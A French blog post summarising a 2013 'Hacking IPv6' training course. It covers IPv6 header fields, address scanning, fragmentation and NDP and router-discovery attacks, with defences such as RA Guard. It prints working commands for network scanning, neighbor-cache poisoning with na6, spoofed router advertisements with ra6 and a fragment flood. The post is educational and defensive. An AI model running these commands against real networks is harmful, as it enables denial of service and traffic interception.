Le cours « Hacking IPv6 »

Stéphane Bortzmeyer
<stephane+blog@bortzmeyer.org>

Première rédaction de cet article le 20 juin 2013

https://www.bortzmeyer.org/hacking-ipv6.html

Cette semaine, j'ai eu le plaisir de suivre le cours « "*Hacking IPv6*" <http://www.hackingipv6networks.com/> » de Fernando Gont lors de Hack in Paris <http://www.hackinparis.com/trainings> à Disneyland. C'est l'occasion de partager quelques-unes de mes notes de cours. (Les supports de cours ne sont pas encore publiquement disponibles.)

Gont est l'auteur de plusieurs excellents RFC sur la sécurité </search?pattern=gont>. La tonalité générale de son cours était plutôt méfiante vis-à-vis d'IPv6, il s'est notamment attaqué à des mythes comme celui selon lequel IPv6 serait plus sûr car IPsec y est obligatoire (cela n'a jamais été vrai en pratique et cela n'est même plus le cas en théorie depuis le RFC 6434 [1]). Il a également noté la faiblesse en ressources humaines (peu de compétences disponibles) mais il a oublié de dire que c'était pareil chez les attaquants. Faites l'expérience (comme moi), mettez un pot de miel accessible uniquement en IPv6 et vous verrez que personne ne l'attaque (alors que les mouches affluent immédiatement sur tout pot de miel IPv4). Dans le monde réel (pas dans les conférences de hackers), les attaques via IPv6 sont en quantité négligeable et, à mon avis, ne représentent pas une raison sérieuse de retarder la migration. Gont a un point de vue différent, comme quoi il faudrait avoir un bon niveau de sécurité avant de migrer. Il note que les HOWTO « comment migrer vers IPv6 en cinq minutes » sont dangereux car ils laissent le réseau migré vulnérable. Selon moi, avec un tel argument, on n'aurait jamais déployé IPv4...

Mais Gont note aussi que, non seulement la migration est inévitable, mais qu'elle a déjà commencé. Ainsi, beaucoup de systèmes d'exploitation ayant IPv6 activé par défaut, bien des réseaux ont déjà IPv6 sans le savoir et, grâce à Teredo, ont même parfois une connectivité externe (« "*There are no IPv4-only networks*" »). Donc, qu'on veuille migrer ou pas, il faut se préoccuper de la sécurité sur IPv6.

L'essentiel de la partie pratique du cours se faisait avec deux boîtes à outils :
— La plus ancienne, THC-IPv6 <http://www.thc.org/thc-ipv6/>, qui ne marche que sur Linux et que sur Ethernet et dont Gont trouve la documentation plutôt limitée,

1. Pour voir le RFC de numéro NNN, https://www.ietf.org/rfc/rfcNNN.txt, par exemple https://www.ietf.org/rfc/rfc6434.txt

— Celle du formateur, SI6 toolkit <http://www.si6networks.com/tools/ipv6toolkit/>, distribuée sous GPL.

Les exemples ci-dessous utilisent en général les outils d'une de ces deux boîtes.

Le cours suit classiquement le modèle en couches. On part de la couche 2. Normalement, dans Ethernet, le type de protocole utilisé figure dans l'en-tête Ethernet mais, en théorie, on pourrait imaginer un attaquant mettant des paquets IPv6 avec un en-tête Ethernet indiquant ces paquets comme étant IPv4, pour essayer de passer outre un filtrage dans les commutateurs. En pratique, cette attaque ne marche pas, tous les systèmes testés vérifient que les deux types correspondent. Premier hack raté.

Ensuite, la couche 3, le gros morceau du cours. Chaque champ de l'en-tête IPv6 est examiné. Par exemple, le peu connu "*Flow label*" avait été conçu pour ne pas avoir à suivre la chaîne des en-têtes (opération très complexe <https://www.bortzmeyer.org/analyse-pcap-ipv6.html>) pour découvrir les paquets du même flot. En pratique, peu de systèmes s'en servent (il est souvent à zéro et, dans ce cas, tcpdump ne l'affiche pas) mais il peut être utilisé par l'attaquant, par exemple pour découvrir le rythme de création de nouvelles connexions par une machine. L'outil flow6 dans la boîte SI6 permet de connaître la politique utilisée (ici, contre un système Linux) :

```
# flow6 -i eth1 -v --flow-label-policy -d 2001:db8:8ad9:84b1:ba27:ebff:feba:9094
...
Identifying the 'Flow ID' generation policy of the target node....
Flow Label policy: Global (predictable) constant labels, set to 00000
```

On voit que ce système met toujours le "*flow label*" à zéro. Contre un système FreeBSD :

```
# flow6 -i eth0 -v --flow-label-policy -d 2001:1900:2254:206a::50:0
...
Identifying the 'Flow ID' generation policy of the target node....
Flow Label policy: Global (predictable) labels with increments of 2202551761 (sdev: 0.500000)
```

Cette fois, le "*flow label*" est mis et est prévisible, donnant accès à des informations utiles. Avec tcpdump, on voit ce champ, s'il n'est pas nul (il vaut ici 0xaa187) :

```
12:28:58.432511 IP6 (flowlabel 0xaa187, hlim 57, next-header TCP (6) payload length: 40)
     2001:41d0:1:ea44::1. 42700 > 2001:4b98:dc0:41:216:3eff:fece:1902.80:
     Flags [S], cksum 0x9850 (correct), seq 1485994586, win 65535,
      options [mss 1440,nop,wscale 3,sackOK,TS val 181079131 ecr 0], length 0
```

Cet outil, sur certains réseaux (peut-être ceux ayant plus d'un routeur), dit parfois "*Couldn't find local router*" mais cette bogue n'est pas encore résolue.

Autre chose amusante dans IPv6 : au lieu d'avoir un en-tête de taille variable, comme IPv4 (avec un champ qui indique la taille de l'en-tête, qui change selon les options IP incluses), IPv6 a un en-tête de taille fixe, puis zéro, un ou davantage d'en-têtes d'extension. Par exemple, si le paquet est fragmenté, un en-tête d'extension "*Fragment header*" va être mis. L'un des problèmes que posent ces en-têtes d'extension est que les paquets qui les portent sont souvent jetés sans cérémonie par des routeurs ou des pare-feux violents. Si ce n'est pas le cas, comme leur présence décale tous les champs suivants (comme l'en-tête TCP, avec ses numéros de port), ils peuvent être utilisés pour échapper à des IDS naïfs, qui attendent ces numéros de port à un décalage fixe. (Par exemple, si on utilise le module u32 <http://www.

netfilter.org/documentation/HOWTO/netfilter-extensions-HOWTO-3.html#ss3.21> de Netfilter.)

Une attaque en IPv4 commence souvent par un balayage ("*scan*") du réseau visé pour trouver des machines intéressantes. En IPv4, il y a au maximum $2\hat{}32$ adresses et balayer tout le réseau est très court (on peut même balayer tout l'Internet IPv4 relativement facilement). Les outils de hack habituels savent faire cela sans mal (par exemple nmap qui peut prendre comme cible une adresse mais aussi un préfixe entier). En IPv6, $2\hat{}128$ adresses est un nombre énorme qui défie l'imagination. Est-ce que cela rend le balayage impossible ? Non, comme l'a montré un article fameux de David Malone <http://www.maths.tcd.ie/~dwmalone/p/addr-pam08.pdf> et les RFC 5157 et RFC 7707. Malone a vu que les adresses IPv6 ne sont pas réparties au hasard dans l'espace de 128 bits. Pour reprendre son vocabulaire, certaines adresses sont "*low-byte*" (2001:db8:67a::1), certaines "*wordy*" (2001:db8:67a::dead:beef), certaines "*port-based*" (un serveur HTTP en 2001:db8:67a::80). Si nmap ne met pas en œuvre les techniques suggérées par le RFC 7707, l'outil scan6 de la boîte SI6 le fait. Mais d'abord, un truc simple, pinguer l'adresse "*multicast*" de toutes les machines du réseau local :

```
% ping6 -I eth0 ff02::1
PING ff02::1(ff02::1) from fe80::ba27:ebff:feba:9094 eth0: 56 data bytes
64 bytes from fe80::ba27:ebff:feba:9094: icmp_seq=1 ttl=64 time=0.232 ms
64 bytes from fe80::f6ca:e5ff:fe4d:1f41: icmp_seq=1 ttl=64 time=0.809 ms (DUP!)
64 bytes from fe80::a2f3:c1ff:fec4:5b6e: icmp_seq=1 ttl=64 time=1.77 ms (DUP!)
64 bytes from fe80::f6ec:38ff:fef0:d6f9: icmp_seq=1 ttl=64 time=8.21 ms (DUP!)
64 bytes from fe80::223:8bff:fec9:48f2: icmp_seq=1 ttl=64 time=13.0 ms (DUP!)
64 bytes from fe80::215:afff:fe7d:3de5: icmp_seq=1 ttl=64 time=172 ms (DUP!)
```

On découvre ainsi bien des machines, sans dépendre de la façon dont leurs adresses sont affectées. Windows ne répond pas à ces paquets donc, ensuite, il faut passer à scan6 qui utilise une combinaison de trucs (par exemple d'envoyer des paquets avec une option IP inconnue, Windows, suivant la norme, répond alors qu'il ne connait pas) :

```
# scan6 -i eth1 -L
fe80::1a03:73ff:fe66:e568
fe80::f6ec:38ff:fef0:d6f9
fe80::a2f3:c1ff:fec4:5b6e
fe80::f6ca:e5ff:fe4d:1f41
fe80::ba27:ebff:feba:9094
fe80::223:8bff:fec9:48f2
fe80::215:afff:fe7d:3de5
```

(Vous avez noté la nouvelle, la fe80::1a03:73ff:fe66:e568 ?) scan6 a plein d'options utiles, par exemple d'afficher les adresses globales (et non plus locales au lien), et les adresses MAC :

```
# scan6 -i eth1 -L -e --print-type global
2001:db8:8ad9:84b1:7111:869b:5081:e0ed @ 18:03:73:66:e5:68
2001:db8:8ad9:84b1:: @ f4:ca:e5:4d:1f:41
2001:db8:8ad9:84b1:f6ec:38ff:fef0:d6f8 @ f4:ec:38:f0:d6:f8
2001:db8:8ad9:84b1:a2f3:c1ff:fec4:5b6e @ a0:f3:c1:c4:5b:6e
2001:db8:8ad9:84b1:ba27:ebff:feba:9094 @ b8:27:eb:ba:90:94
2001:db8:8ad9:84b1:223:8bff:fec9:48f2 @ 00:23:8b:c9:48:f2
2001:db8:8ad9:84b1:e4:323a:3c73:c537 @ 00:15:af:7d:3d:e5
```

Cette technique ne marche que sur le réseau local. Mais scan6 peut faire mieux. Revenons à la classification de Malone un instant. Dans la même boîte à outils, address6 prend une adresse IP et détermine son type :

```
% address6 -a  2001:7fe::80
unicast=global=global=embedded-port=unspecified

% address6 -a  2001:7fe::1
unicast=global=global=low-byte=unspecified

% address6 -a   2001:db8:2:25e::bad:dcaf
unicast=global=global=embedded-ipv4=unspecified

% address6 -a  2001:db8:8ad9:84b1:ba27:ebff:feba:9094
unicast=global=global=ieee-derived=b8-27-eb

% address6 -a  2001:db8:8ad9:84b1:7111:869b:5081:e0ed
unicast=global=global=randomized=unspecified
```

(Notez l'erreur de classification dans la troisième, qui aurait dû être marquée "*wordy*".) Pour les adresses IP dérivées de l'adresse MAC, on n'a plus qu'à chercher dans les bases de préfixes MAC pour savoir que la quatrième adresse appartient à un Raspberry Pi <http://hwaddress.com/mac/B827EB-000000.html>. Enfin, la cinquième adresse est une adresse temporaire (pour préserver la vie privée) du RFC 8981.

address6 peut aussi travailler sur un ensemble d'adresses, pour en tirer des statistiques. Ainsi, si je regarde les lecteurs IPv6 de ce blog (une population dont je ne prétends pas qu'elle soit représentative de tout l'Internet) :

```
% zgrep -h -E  '^[0-9]+:' /var/log/apache2/access.log.2.gz /var/log/apache2/access.log.3.gz \
       /var/log/apache2/access.log.1 /var/log/apache2/access.log |\
   awk '{print $1}' | sort | uniq | address6 -i -s
...
** IPv6 Interface IDs **

Total IIDs analyzed: 172
IEEE-based:      27 (15.70%)            Low-byte:             46 (26.74%)
Embed-IPv4:      10 (5.81%)             Embed-IPv4 (64):       7 (4.07%)
Embed-port:       2 (1.16%)             Embed-port (r):        0 (0.00%)
ISATAP:           0 (0.00%)             Byte-pattern:          2 (1.16%)
Randomized:      78 (45.35%)
```

Contrairement aux résultats de Malone en 2008, on voit une majorité d'adresses temporaires pseudo-aléatoires (RFC 8981). La sécurité progresse donc (une étude analogue sur les clients du site Web de l'ISOC a montré la même chose). Ici, il s'agit de clients HTTP donc probablement des machines individuelles. Si on teste sur un tout autre échantillon, les serveurs de noms des TLD, on a un résultat bien différent :

```
% grep : root.zone | awk '{print $5}' | sort | uniq | address6 -i -s
...
** IPv6 Interface IDs **

Total IIDs analyzed: 486
IEEE-based:       2 (0.41%)            Low-byte:            350 (72.02%)
Embed-IPv4:       7 (1.44%)            Embed-IPv4 (64):      56 (11.52%)
Embed-port:      62 (12.76%)           Embed-port (r):        0 (0.00%)
ISATAP:           0 (0.00%)            Byte-pattern:          6 (1.23%)
Randomized:       3 (0.62%)
```

On a cette fois une grande majorité de "*low byte*" et de "*embedded port*" (beaucoup de ces serveurs ont une adresse IPv6 se terminant par `::53`). C'est normal, ces serveurs sont publics, ils n'ont pas à se cacher. Même chose lorsqu'on fait tourner address6 sur des listes comme celle des serveurs Alexa. Et sur des machines qui sont parfois des clients finaux et parfois des serveurs, les résolveurs DNS qui interrogent `d.nic.fr`, un serveur de `.fr` ? Le résultat est logiquement entre les deux :

```
** IPv6 Interface IDs **

Total IIDs analyzed: 8756
IEEE-based:    1825 (20.84%)           Low-byte:           4570 (52.19%)
Embed-IPv4:      79 (0.90%)            Embed-IPv4 (64):     211 (2.41%)
Embed-port:     135 (1.54%)            Embed-port (r):       28 (0.32%)
ISATAP:           0 (0.00%)            Byte-pattern:         82 (0.94%)
Randomized:    1826 (20.85%)
```

Armé de cette connaissance, on peut revenir au problème du balayage. En IPv4, l'espace est tellement petit que l'algorithme le plus simple (la force brute) est le meilleur. En IPv6, il faut être plus subtil. À la bataille navale, on n'essaie pas toutes les cases séquentiellement. On ne le fait pas non plus aléatoirement. On frappe en fonction des règles qu'on connait sur les bateaux et leurs positions. C'est ce que fait scan6, qui peut balayer un réseau distant avec plus d'intelligence que les balayeurs IPv4. Un avertissement toutefois : en pratique, je trouve les résultats décevants. Comme l'explique le RFC 7707, le balayage est **possible** en IPv6. Mais il est lent, laborieux, et pas toujours réussi. Voici un exemple qui a marché :

```
# scan6 -v -i eth1 -d 2001:db8:2:25e::/64
Target address ranges (1)
2001:db8:2:25e:0-ffff:0-ffff:0-ffff:0-ffff

Alive nodes:
2001:db8:2:25e::42
...
```

Mais, en pratique, outre une patience d'ange, vous aurez souvent besoin d'aider l'outil. Par exemple, si vous connaissez le type de cartes Ethernet utilisé (beaucoup d'entreprises utilisent un seul modèle d'ordinateurs et donc peu de modèles de cartes), vous pouvez guider l'outil avec cette information (`-K Apple` pour se limiter aux ordinateurs Apple, `-k 52:54:00` pour une plate-forme de virtualisation, où on connait le préfixe utilisé pour numéroter les cartes). Vous pouvez également guider scan6 avec des options comme `--tgt-low-byte` (ne chercher que les adresses de type "*low byte*") :

```
# scan6 -i eth1 -v -d fc00:675:ab4:2::/64 --tgt-low-byte -r 200pps
Target address ranges (1)
fc00:675:ab4:2:0:0:0-100:0-1500

Alive nodes:
fc00:675:ab4:2::1
fc00:675:ab4:2::4:1
fc00:675:ab4:2::4:5
...
```

Notez que les adresses ayant les deux derniers octets non nuls sont également trouvées (mais plus lentement : scan6 commence par ce qui est facile). Notez l'intervalle testé (affiché par `-v`), syntaxe que vous pouvez aussi utiliser en entrée pour indiquer quelles adresses doivent être essayées. Notez aussi l'option de limitation de trafic `-r 200pps`. Ce n'est pas seulement pour éviter d'être détecté, c'est aussi parce qu'un trafic trop important peut dépasser les capacités du réseau en face et donc vous ralentir. Enfin, rappelez-vous qu'un balayage peut vous conduire dans un réseau taquin comme le `2404:6800:4004:802::/64` où **toutes** les adresses répondent (il n'y a certainement pas 2{}64 machines, plutôt un routeur qui répond pour tout le monde).

Le code source de scan6 est également instructif. Lorsqu'on balaye, tous les paquets n'atteignent pas leur destination. Un balayeur typique va donc stocker toutes les adresses en cours de test dans un

tableau, notant au fur et à mesure lesquelles ont marché. Une telle mise en œuvre serait catastrophique en IPv6 (un tableau de 2{}64 entrées...). scan6 balaye donc sans redondance (un seul paquet, ne garde que les résultats positifs en mémoire), balaye une seconde fois et fusionne les résultats, et ainsi de suite.

Autre méthode pour découvrir les machines dans un réseau, par l'énumération DNS. Il « suffit » de faire des requêtes PTR pour les adresses vraisemblables (rappelez-vous bien que les adresses ne sont pas attribuées au hasard). Un outil dans la boîte THC permet cela facilement. On lui donne un résolveur DNS et un préfixe :

```
% dnsrevenum6 127.0.0.1 fc00:675:ab4:2::/64
Starting DNS reverse enumeration of fc00:675:ab4:2:: on server 127.0.0.1
...
Found: fc00:675:ab4:2::4:1 is ns1.foobar.example.
...
Found: fc00:675:ab4:2::4:12 is mx4.foobar.example.
Found: fc00:675:ab4:2::4:13 is mx5.foobar.example.
...
Found: fc00:675:ab4:2::4:20 is web.foobar.example.
...
```

Autre problème de sécurité, le suivi d'une machine. Dès qu'on a une adresse IP stable (ou dont une partie est stable), elle peut être utilisée pour vous suivre à la trace. La solution évidente (et recommandée par le RFC 8981) est d'avoir des adresses qui ne sont pas stables, mais qui sont regenérées au hasard de temps en temps. Parfois, c'est trop radical. On peut avoir envie d'adresses stables dans le temps mais par destination (toujours la même adresse quand on parle à Google, toujours la même quand on parle à Amazon mais différente de celle utilisée pour Google, pour ne pas permettre des rapprochements). Cela peut se faire en condensant un secret local avec le préfixe de la destination (RFC 7217).

Bien, passons maintenant à un sujet toujours rigolo et qui offre plein de perspectives de bogues, la fragmentation. On peut la déclencher facilement en tenant d'envoyer 2 000 octets sur un Ethernet où la MTU est à 1 500 :

```
% ping6 -c 1 -s 2000  2001:5c0:1400:a::56d

% tcpdump ...
08:07:30.906552 ip: (hlim 54, next-header Fragment (44) payload length: 1240) \
        2001:db8:8ad9:84b1:ba27:ebff:feba:9094 > 2001:5c0:1400:a::56d: \
        frag (0x2fe73a49:0|1232) ICMP6, echo request, length 1232, seq 1
08:07:30.913604 ip: (hlim 54, next-header Fragment (44) payload length: 784) \
        2001:db8:8ad9:84b1:ba27:ebff:feba:9094 > 2001:5c0:1400:a::56d: \
frag (0x2fe73a49:1232|776)
```

On voit les deux fragments, de 1 240 et 784 octets. Le premier contenait l'en-tête ICMP, autorisant tcpdump à afficher de l'information. Quelles sont les conséquences en sécurité ? Exactement les mêmes qu'en IPv4. Comme souvent, IPv6 étant juste une nouvelle version d'IP, les problèmes de sécurité sont très proches entre les deux versions :

— Un attaquant peut envoyer des fragments d'un datagramme incomplet. La cible va les stocker en attendant d'avoir tout et on peut ainsi l'empêcher de recevoir les vrais paquets (le réassemblage après fragmentation ne peut pas être sans état).
— Chaque fragment indique sa position dans le datagramme original et sa longueur (0—1232 pour le premier fragment ci-dessus et 1232—776 pour le second). Des fragments qui se recouvrent sont possibles.

Certaines attaques sont plus faciles si on peut prédire l'identificateur de fragment utilisé (0x2fe73a49 dans l'exemple ci-dessus). Cette prévisibilité permet par exemple l'"*idle scan*" où une machine fait un balayage des ports ouverts sans se révéler à la cible : le balayeur usurpe l'adresse IP source d'une tierce machine et lui demande ses identificateurs de fragment pour voir quelles réponses elle a reçu. L'outil frag6 de la boîte SI6 permet de voir si ces identificateurs sont prévisibles :

```
# frag6   --frag-id-policy  -i eth1 -d  2001:db8:8ad9:84b1:1a03:73ff:fe66:e568
Identifying the 'Fragment ID' generation policy of the target node....
Fragment ID policy: Per-destination IDs with increments of 1 (sdev: 0.000000)
```

Ici (la cible est un noyau Linux 3.2), les identificateurs sont prévisibles mais pour un même pair (PDC : "*Per Destination Counter*"). frag6 teste avec deux adresses IP source différentes pour voir cela (utilisez `-vv` pour voir les identificateurs reçus en mono-adresse et en multi-adresses). La sécurité n'est donc pas menacée, un attaquant aveugle (non situé sur le chemin des paquets) ne peut donc pas prévoir quel sera l'identificateur du prochain fragment. Avec une machine FreeBSD, les identificateurs sont aléatoires, ce qui va aussi :

```
Fragment ID policy: Randomized IDs (Avg. inc.: 2497753097, sdev: 1449618001.141603)
```

Par contre, les anciens noyaux Linux avaient des identificateurs complètement prévisibles (compteur global et pas par destination) :

```
Fragment ID policy: Global IDs with increments of 1 (sdev: 0.500000)
```

(Attention, dès qu'il y a un routeur sur le trajet, frag6 a du mal à choisir correctement sa propre adresse IP source et vous avez intérêt à utiliser l'option `-s` pour l'aider).

Et les autres attaques utilisant la fragmentation ? Par exemple, pour tenter un déni de service en remplissant la table des fragments en attente de réassemblage, on peut injecter autant de fragments incomplets qu'on veut avec `--flood-frags` :

```
# frag6 -v  --flood-frags 10000  -i eth0 -l -v -d  fc00:1::a00:27ff:fef7:5cd2
```

Mais, désolé de vous décevoir, cela ne marche plus avec les systèmes modernes, qui gèrent leur table proprement.

Bon, maintenant, passons aux attaques contre NDP, le protocole de découverte des voisins en IPv6, normalisé dans le RFC 4861. Comme avec ARP en IPv4, rien n'est authentifié (ce qui est normal : on ne peut pas avoir à la fois sécurité et simplicité d'usage). On peut donc en théorie, lorsqu'on voit une requête "*neighbor solicitation*", répondre à la place de la machine légitime par un "*neighbor advertisement*" avec sa propre adresse MAC (et capter ainsi tout le trafic) ou avec une adresse bidon (et faire ainsi un déni de service). Je dis « en théorie » car Fernando Gont note qu'une telle attaque marche mal. Il suggère de faire plutôt du "*neighbor advertisement*" gratuit (émis spontanément, pas en réponse à un "*neighbor solicitation*"). Attention, cela ne marche que sur le réseau local car les machines refusent les paquets NDP dont le "*hop limit*" est inférieur à 255 (cf. RFC 5082). L'outil na6 permet cela (ici, l'adresse MAC bidon `1:2:3:4:5:6`) :

```
# na6 -i eth0 -t 2001:db8:8ad9:84b1:ba27::1 -d ff02::1 -o -E 1:2:3:4:5:6 -v -l
```

Notez qu'on a envoyé ce paquet NDP à toutes les machines du réseau local (`-d ff02::1`). Sur une machine Linux, l'entrée n'apparait pas immédiatement lors d'un `ip -6 neighbor show` mais, si on tente de joindre cette machine, on verra bien l'adresse MAC empoisonnée :

```
% ip -6 neighbor show
2001:db8:8ad9:84b1:ba27::1 dev eth0 lladdr 01:02:03:04:05:06 DELAY
```

(Sur un BSD, cela serait `ndp -an`.) Ironiquement, l'attaque par déni de service peut quand même échouer, si le commutateur relaie tous les paquets et que la machine cible a mis ses interfaces en mode "*promiscuous*". Un attaquant qui veut lire le trafic d'une machine sans être détecté peut aussi indiquer comme adresse MAC une adresse de diffusion...

Comment combat-on cette attaque ? Une solution est de mettre des entrées statiques dans la table des voisins. (Cette technique est conseillée dans les documents remis aux participants à des conférences de sécurité comme NoSuchCon <http://www.nosuchcon.org/> ou comme celle du CCC <http://www.ccc.de/>, documents qui indiquent l'adresse MAC du routeur officiel. Certes, c'est pour IPv4 mais rappelez-vous que le problème est exactement le même pour IPv4 et IPv6.) Sur un BSD, cela se fait avec `ndp -s IPV6ADDR MACADDR` et sur un Linux avec `ip -6 neighbor add IPV6ADDR lladdr MACADDR dev NETWORKIFACE`.

Passons maintenant à un autre protocole utilisant ICMP v6 : "*Router Discovery*". C'est grâce à lui qu'une machine apprend le préfixe d'adresses utilisé sur le réseau, ainsi que le ou les routeurs en usage. rdisc6 (qui fait partie du paquetage ndisc6 qu'on trouve déjà fait pour tous les bons Unix) permet de voir ces informations (ici, le routeur est une Freebox) :

```
% rdisc6 eth0
Soliciting ff02::2 (ff02::2) on eth0...

Hop limit                 :           64 (      0x40)
Stateful address conf.    :           No
Stateful other conf.      :           No
Mobile home agent         :           No
Router preference         :       medium
Neighbor discovery proxy  :           No
Router lifetime           :         1800 (0x00000708) seconds
Reachable time            :  unspecified (0x00000000)
Retransmit time           :  unspecified (0x00000000)
 Prefix                   : 2001:db8:8ad9:84b1::/64
  On-link                 :          Yes
  Autonomous address conf.:          Yes
  Valid time              :        86400 (0x00015180) seconds
  Pref. time              :        86400 (0x00015180) seconds
 Recursive DNS server     : 2a01:e00::2
 Recursive DNS server     : 2a01:e00::1
  DNS servers lifetime    :          600 (0x00000258) seconds
 MTU                      :         1480 bytes (valid)
 Source link-layer address: F4:CA:E5:4D:1F:41
 from fe80::f6ca:e5ff:fe4d:1f41
```

La Freebox a donc indiqué que le préfixe de ce réseau est `2001:db8:8ad9:84b1::/64`, que le routeur est elle-même, `fe80::f6ca:e5ff:fe4d:1f41`, qu'il y a deux résolveurs DNS (cette option est décrite dans le RFC 8106) et que la MTU est de seulement 1 480 octets (Free utilise le 6rd du RFC 5969, une technique de tunnel, qui diminue donc la MTU).

L'outil ra6 permet de générer des "*router advertisement*" de tous les genres, y compris pour une attaque (cf. RFC 6104). Par exemple, un "*router advertisement*" donnant une "*hop limit*" maximale de 1 (`-s` est l'adresse du routeur, qu'on va usurper) :

```
# ra6 -i eth1 -s fe80::f6ca:e5ff:fe4d:1f41 -d fe80::ba27:ebff:feba:9094 -c 1 -v
```

Lorsque `fe80::ba27:ebff:feba:9094` reçoit ce paquet :

```
15:28:35.732604 IP6 (hlim 255, next-header ICMPv6 (58) payload length: 16) \
        fe80::f6ca:e5ff:fe4d:1f41 > fe80::ba27:ebff:feba:9094: \
        [icmp6 sum ok] ICMP6, router advertisement, length 16 \
        hop limit 1, Flags [none], pref high, router lifetime 9000s, \
        reachable time 4294967295s, retrans time 4000s
```

Il ne peut plus joindre les machine situées à plus d'une étape de distance :

```
% ping6 -n www.dns-oarc.net
...
64 bytes from 2001:4f8:3:2bc:1::8: icmp_seq=10 ttl=58 time=175 ms
64 bytes from 2001:4f8:3:2bc:1::8: icmp_seq=11 ttl=58 time=302 ms
64 bytes from 2001:4f8:3:2bc:1::8: icmp_seq=12 ttl=58 time=181 ms
From 2001:db8:8ad9:84b1:: icmp_seq=13 Time exceeded: Hop limit
From 2001:db8:8ad9:84b1:: icmp_seq=14 Time exceeded: Hop limit
From 2001:db8:8ad9:84b1:: icmp_seq=15 Time exceeded: Hop limit
```

ra6 permet aussi d'envoyer de faux RA ("*router advertisement*") ayant une MTU ridiculement basse (la plupart des systèmes refuseront les valeurs trop faibles, toutefois).

Comment empêcher ces attaques "*neighbor discovery*" et "*router discovery*" ? Outre des logiciels de supervision comme NDPmon <http://ndpmon.sourceforge.net/>, la meilleure solution est équivalente à ce qui se fait en IPv4 : que le commutateur Ethernet refuse les paquets RA venant sur un port où il n'est pas censé y avoir de routeur. Cette solution est décrite plus en détail, sous le nom de "*RA Guard*", dans le RFC 6105.

L'atelier de Fernando Gont couvrait également les attaques en couche 4 ou couche 7 où il y a évidemment peu ou pas de différences avec IPv4. Il y a eu aussi une discussion sur l'importance des pare-feux en IPv6 et la question de savoir si le NAT apporte de la sécurité du NAT <https://www.bortzmeyer.org/nat-et-securite.html> ou pas, point sur lequel Gont conseille de ne pas tenter le diable : comme on n'est pas sûr des machines du réseau local, il vaut mieux mettre un pare-feu à état qui bloque, par défaut, les connexions entrantes. (Le RFC 6092 a un point de vue différent.)

J'ai fait moi-même un exposé (bien plus court et sans travaux pratiques) sur la sécurité d'IPv6 <https://www.bortzmeyer.org/ipv6-securite.html>.